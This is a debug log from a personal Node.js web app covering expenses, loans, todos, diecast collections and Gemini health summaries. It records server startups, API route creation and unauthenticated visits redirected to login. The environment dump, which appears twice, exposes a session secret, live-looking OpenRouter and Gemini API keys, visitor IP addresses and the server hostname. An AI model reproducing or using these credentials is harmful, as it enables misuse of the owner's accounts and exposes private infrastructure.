2026-07-03T15:12:46.272Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-03T15:12:46.298Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-03T15:12:46.302Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-03T15:12:46.307Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-03T15:12:46.313Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-03T15:12:46.321Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-03T15:12:46.326Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-03T15:12:46.333Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-03T15:12:46.338Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-03T15:12:46.342Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-03T15:12:46.357Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-03T19:16:59.448Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-03T19:17:01.637Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-03T19:17:02.500Z server-connect:setup:upload Upload middleware configured.
2026-07-03T19:17:02.501Z server-connect:secure CSRF Protection initialized
2026-07-03T19:17:02.506Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-03T19:17:02.509Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-03T19:17:02.510Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-03T19:17:02.512Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-03T19:17:02.518Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-03T19:17:02.523Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-03T19:17:02.536Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-03T19:17:02.548Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-03T19:17:02.554Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-03T19:17:02.555Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-03T19:17:02.557Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-03T19:17:02.561Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-03T19:17:02.567Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-03T19:17:02.576Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-03T19:17:02.580Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-03T19:17:02.652Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-03T19:17:02.654Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-03T19:17:02.657Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-03T19:17:02.666Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-03T19:17:02.670Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-03T19:17:02.673Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-03T19:17:02.679Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-03T19:17:02.683Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-03T19:17:02.687Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-03T19:17:02.690Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-03T19:17:02.693Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-03T19:17:02.696Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-03T19:17:02.696Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-03T19:17:02.702Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-03T19:17:02.705Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-03T19:17:02.708Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-03T19:17:02.708Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-03T19:17:02.714Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-03T19:17:02.714Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-03T19:17:02.720Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-03T19:17:02.726Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-03T19:17:02.726Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-03T19:17:02.736Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-03T19:17:03.224Z server-connect:router Serving templateView /
2026-07-03T19:17:03.226Z server-connect:app Executing action step identify
2026-07-03T19:17:03.227Z server-connect:app options: { provider: 'security' }
2026-07-03T19:17:03.229Z server-connect:auth No login cookie found
2026-07-03T19:17:03.230Z server-connect:output identity: false
2026-07-03T19:17:03.230Z server-connect:app Executing action step restrict
2026-07-03T19:17:03.230Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-03T19:17:03.234Z server-connect:output restrict: undefined
2026-07-03T19:17:03.282Z server-connect:router Serving templateView /login
2026-07-03T19:17:03.282Z server-connect:app Executing action step identify
2026-07-03T19:17:03.282Z server-connect:app options: { provider: 'security' }
2026-07-03T19:17:03.282Z server-connect:auth No login cookie found
2026-07-03T19:17:03.282Z server-connect:output identity: false
2026-07-03T19:17:03.282Z server-connect:router Render template layouts/authentication
2026-07-03T19:17:03.283Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'user-agent': 'Go-http-client/2.0',
    'x-forwarded-for': '81.82.193.88',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-04T19:17:03.280Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '81.82.193.88',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_USER_AGENT: 'Go-http-client/2.0',
    'HTTP_X_FORWARDED-FOR': '81.82.193.88',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-04T05:06:34.262Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-04T05:06:36.533Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-04T05:06:37.397Z server-connect:setup:upload Upload middleware configured.
2026-07-04T05:06:37.397Z server-connect:secure CSRF Protection initialized
2026-07-04T05:06:37.403Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-04T05:06:37.405Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-04T05:06:37.406Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-04T05:06:37.408Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-04T05:06:37.415Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-04T05:06:37.419Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-04T05:06:37.431Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-04T05:06:37.444Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-04T05:06:37.449Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-04T05:06:37.451Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-04T05:06:37.451Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-04T05:06:37.457Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-04T05:06:37.464Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-04T05:06:37.474Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-04T05:06:37.479Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-04T05:06:37.548Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-04T05:06:37.550Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-04T05:06:37.553Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-04T05:06:37.561Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-04T05:06:37.565Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-04T05:06:37.565Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-04T05:06:37.575Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-04T05:06:37.575Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-04T05:06:37.582Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-04T05:06:37.582Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-04T05:06:37.588Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-04T05:06:37.588Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-04T05:06:37.592Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-04T05:06:37.596Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-04T05:06:37.600Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-04T05:06:37.600Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-04T05:06:37.604Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-04T05:06:37.607Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-04T05:06:37.609Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-04T05:06:37.615Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-04T05:06:37.619Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-04T05:06:37.622Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-04T05:06:37.630Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-04T05:06:38.117Z server-connect:router Serving templateView /
2026-07-04T05:06:38.120Z server-connect:app Executing action step identify
2026-07-04T05:06:38.120Z server-connect:app options: { provider: 'security' }
2026-07-04T05:06:38.122Z server-connect:auth No login cookie found
2026-07-04T05:06:38.122Z server-connect:output identity: false
2026-07-04T05:06:38.122Z server-connect:app Executing action step restrict
2026-07-04T05:06:38.122Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-04T05:06:38.126Z server-connect:output restrict: undefined
2026-07-05T10:11:27.525Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-05T10:11:29.723Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-05T10:11:30.587Z server-connect:setup:upload Upload middleware configured.
2026-07-05T10:11:30.587Z server-connect:secure CSRF Protection initialized
2026-07-05T10:11:30.593Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-05T10:11:30.594Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-05T10:11:30.596Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-05T10:11:30.599Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-05T10:11:30.603Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-05T10:11:30.609Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-05T10:11:30.621Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-05T10:11:30.636Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-05T10:11:30.639Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-05T10:11:30.641Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-05T10:11:30.643Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-05T10:11:30.647Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-05T10:11:30.653Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-05T10:11:30.662Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-05T10:11:30.668Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-05T10:11:30.737Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-05T10:11:30.738Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-05T10:11:30.743Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-05T10:11:30.748Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-05T10:11:30.752Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-05T10:11:30.754Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-05T10:11:30.762Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-05T10:11:30.764Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-05T10:11:30.770Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-05T10:11:30.772Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-05T10:11:30.776Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-05T10:11:30.778Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-05T10:11:30.780Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-05T10:11:30.786Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-05T10:11:30.788Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-05T10:11:30.788Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-05T10:11:30.791Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-05T10:11:30.795Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-05T10:11:30.797Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-05T10:11:30.803Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-05T10:11:30.809Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-05T10:11:30.811Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-05T10:11:30.821Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-05T10:11:31.311Z server-connect:router Serving templateView /
2026-07-05T10:11:31.313Z server-connect:app Executing action step identify
2026-07-05T10:11:31.313Z server-connect:app options: { provider: 'security' }
2026-07-05T10:11:31.315Z server-connect:auth No login cookie found
2026-07-05T10:11:31.315Z server-connect:output identity: false
2026-07-05T10:11:31.316Z server-connect:app Executing action step restrict
2026-07-05T10:11:31.316Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-05T10:11:31.320Z server-connect:output restrict: undefined
2026-07-05T10:11:31.351Z server-connect:router Serving templateView /login
2026-07-05T10:11:31.351Z server-connect:app Executing action step identify
2026-07-05T10:11:31.351Z server-connect:app options: { provider: 'security' }
2026-07-05T10:11:31.351Z server-connect:auth No login cookie found
2026-07-05T10:11:31.351Z server-connect:output identity: false
2026-07-05T10:11:31.351Z server-connect:router Render template layouts/authentication
2026-07-05T10:11:31.352Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115',
    accept: 'text/html,application/xhtml+xml',
    'accept-language': 'en-US',
    'cache-control': 'no-cache',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '192.71.23.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-06T10:11:31.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '192.71.23.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_CACHE_CONTROL: 'no-cache',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '192.71.23.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-05T15:01:26.486Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-05T15:01:28.757Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-05T15:01:29.622Z server-connect:setup:upload Upload middleware configured.
2026-07-05T15:01:29.622Z server-connect:secure CSRF Protection initialized
2026-07-05T15:01:29.627Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-05T15:01:29.629Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-05T15:01:29.630Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-05T15:01:29.632Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-05T15:01:29.641Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-05T15:01:29.641Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-05T15:01:29.655Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-05T15:01:29.668Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-05T15:01:29.674Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-05T15:01:29.675Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-05T15:01:29.676Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-05T15:01:29.681Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-05T15:01:29.687Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-05T15:01:29.697Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-05T15:01:29.700Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-05T15:01:29.771Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-05T15:01:29.772Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-05T15:01:29.777Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-05T15:01:29.782Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-05T15:01:29.787Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-05T15:01:29.787Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-05T15:01:29.795Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-05T15:01:29.799Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-05T15:01:29.804Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-05T15:01:29.807Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-05T15:01:29.812Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-05T15:01:29.814Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-05T15:01:29.816Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-05T15:01:29.822Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-05T15:01:29.822Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-05T15:01:29.825Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-05T15:01:29.827Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-05T15:01:29.832Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-05T15:01:29.832Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-05T15:01:29.840Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-05T15:01:29.843Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-05T15:01:29.846Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-05T15:01:29.855Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-05T15:01:30.345Z server-connect:router Serving templateView /
2026-07-05T15:01:30.348Z server-connect:router Serving templateView /
2026-07-05T15:01:30.391Z server-connect:app Executing action step identify
2026-07-05T15:01:30.391Z server-connect:app options: { provider: 'security' }
2026-07-05T15:01:30.403Z server-connect:auth No login cookie found
2026-07-05T15:01:30.403Z server-connect:output identity: false
2026-07-05T15:01:30.403Z server-connect:app Executing action step restrict
2026-07-05T15:01:30.403Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-05T15:01:30.407Z server-connect:output restrict: undefined
2026-07-05T15:01:30.408Z server-connect:app Executing action step identify
2026-07-05T15:01:30.409Z server-connect:app options: { provider: 'security' }
2026-07-05T15:01:30.409Z server-connect:auth No login cookie found
2026-07-05T15:01:30.409Z server-connect:output identity: false
2026-07-05T15:01:30.409Z server-connect:app Executing action step restrict
2026-07-05T15:01:30.409Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-05T15:01:30.410Z server-connect:output restrict: undefined
